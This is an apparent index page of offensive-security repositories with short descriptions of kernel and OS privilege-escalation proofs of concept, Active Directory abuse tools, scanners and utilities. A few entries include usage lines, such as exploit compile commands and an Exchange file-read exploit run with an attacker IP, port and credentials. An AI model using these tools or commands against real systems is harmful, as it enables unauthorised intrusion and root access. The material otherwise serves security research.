AddUser-SAMR

AddUser-SAMR Create local administrators using the SAMR API, operating at a lower level than net.exe, PowerShell's New-LocalUser or NetUserAdd API. It requires Administrator privileges and if the user exists, it gets added to the group but the password is not updated. There are 4 implementations ...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 This is a kernel vulnerability that allows overwriting of data in arbitrary read-only files, which can therefore lead to privilege escalation since an unprivileged process can write into a privileged process. All credits go to 🥇Max Kellermann for finding the vulnerability...

CVE-2026-43499-OnePlus15

CVE-2026-43499 — OnePlus 15 LPE Educational PoC WARNING: This repository is provided for educational and research purposes only. No pre-built binaries or releases are distributed. You must build everything from source. Android 16 local privilege escalation for OnePlus 15. Fork of...

SharpGPOAbuse

SharpGPOAbuse SharpGPOAbuse is a .NET application written in C that can be used to take advantage of a user's edit rights on a Group Policy Object GPO in order to compromise the objects that are controlled by that GPO. More details can be found at the following blog post:...

CVE-2026-43499

👻 CVE-2026-43499 — GhostLock 15-Year-Old GhostLock Flaw Enables Root and Container Escape on Most Linux Distros GhostLock is a high-severity Use-After-Free UAF vulnerability in the Linux Kernel rtmutex subsystem. The flaw originates from incorrect waiter cleanup during Priority Inheritance PI...

tpwn-bis

tpwn-bis simple poc for cve-2015-5932 / cve-2015-5847 / cve-2015-5864 now escalates to root and spawns a shell. a big thanks to @qwertyoruiop for original code and help!...

CVE-2022-0185-Case-Study

CVE-2022-0185-Case-Study This case study is a result of an assignment of ECE 9069: Introduction to Hacking : https://whisperlab.org/introduction-to-hacking/ CVE-2022-0185 Overview CVE-2022-0185 is a heap-based buffer overflow flaw was found in the way the legacyparseparam function in the Filesyst...

CVE-2023-5178

CVE-2023-5178 The exploit for CVE-2023-5178: NVMe-oF-TCP vulnerability, which is a logic error in NVMe-oF-TCP driver during the handle of corrupted Initialize Connection Request. It leads to racy double-free in kmalloc-96 , which can be exploited to gain LPEsee demo below. The exploit targets...

CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging...

CVE-2026-31635

🩸 CVE-2026-31635 – DirtyDecrypt Linux Kernel Local Privilege Escalation via RXGK Page Cache Corruption "DirtyDecrypt" — Part of the 2026 "Dirty" family exploits 📖 Overview DirtyDecrypt CVE-2026-31635 is a local privilege escalation vulnerability in the Linux kernel's rxrpc subsystem specifically...

CVE-2016-5195

CVE-2016-5195 my personal POC and EXPLOIT of CVE-2016-5195 dirty COW Usage POC: write files arbitrarily Just a simply POC of this CVE, compile the file poc.c as follow: root@kitploit: $ gcc poc.c -o poc -static -lpthread You shall run it as follow: root@kitploit: ./poc destinationfile fakefile Yo...

pwncat_dirtypipe

pwncatdirtypipe pwncat module that automatically exploits CVE-2022-0847 dirtypipe Introduction The purpose of this module is to attempt to exploit CVE-2022-0847 dirtypipe on a target when using pwncat. There is no need to setup any directories, compile any source or even have gcc on the remote...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Automated F5 Big IP Remote Code Execution CVE-2020-5902 Scanner Written In Python 3 Vulnerability Description F5 released a Critical Remote Code Execution vulnerability CVE-2020-5902 on 30th June 2020 that affects several versions of Big IP. Attacker can easily exploit RCE &...

mpDNS

mpDNS aka multi-purpose DNS Server Simple, configurable DNS Server with multiple useful features Python 3 names.db - holds all custom records see examples Simple wildcards like .example.com Catch unicode dns requests Custom actions aka macro: shellexec::dig google.com +short - Execute shell comma...

physmem

physmem physmem is a physical memory inspection tool and local privilege escalation targeting macOS up through 10.12.1. It exploits either CVE-2016-1825 or CVE-2016-7617 depending on the deployment target. These two vulnerabilities are nearly identical, and exploitation can be done exactly the...

mosh

Mosh: the mobile shell Mosh is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes. It aims to support the typical interactive uses of SSH, plus: Mosh keeps the session alive if the client...

lxd-group-privesc-report

LXD Root Local Privilege Escalation to root via default lxd group membership and the lxd-installer package on Ubuntu. Demo runs on AWS EC2 Ubuntu Server 26.04 The bug is that Ubuntu Server 26.04's default install silently grants the primary user membership in the lxd group, a group that by LXD's...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2023-0386

README root@kitploit: gcc -Wall exp.c pkg-config fuse --cflags --libs -o exp ./exp /tmp Vulnerability Analysis The theoretical knowledge in this article namespaces, overlay filesystem, fuse filesystem, etc. comes from ChatGPT. Vulnerability Overview Vulnerability ID: CVE-2023-0386 Vulnerable...

sarenka

♥ Free Software, requires only free accounts to third part services ♥ Lack of knowledge ... that is the problem. William Edwards Deming SARENKA is an Open Source Intelligence OSINT tool that helps you in obtaining and understanding Attack Surface. The main goal is gathering information from searc...